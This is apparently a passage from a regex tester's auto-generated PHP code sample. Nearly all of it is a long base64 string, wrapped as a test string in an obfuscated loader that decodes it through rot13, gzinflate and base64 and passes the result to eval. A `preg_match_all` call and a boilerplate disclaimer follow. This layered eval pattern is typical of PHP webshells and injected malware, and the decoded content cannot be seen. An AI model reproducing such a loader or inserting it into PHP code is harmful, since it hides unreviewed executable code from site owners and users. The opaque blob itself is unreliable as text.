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"; eval(str_rot13(gzinflate(str_rot13(base64_decode(($niana))))));'; preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0); // Print the entire match result var_dump($matches);

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php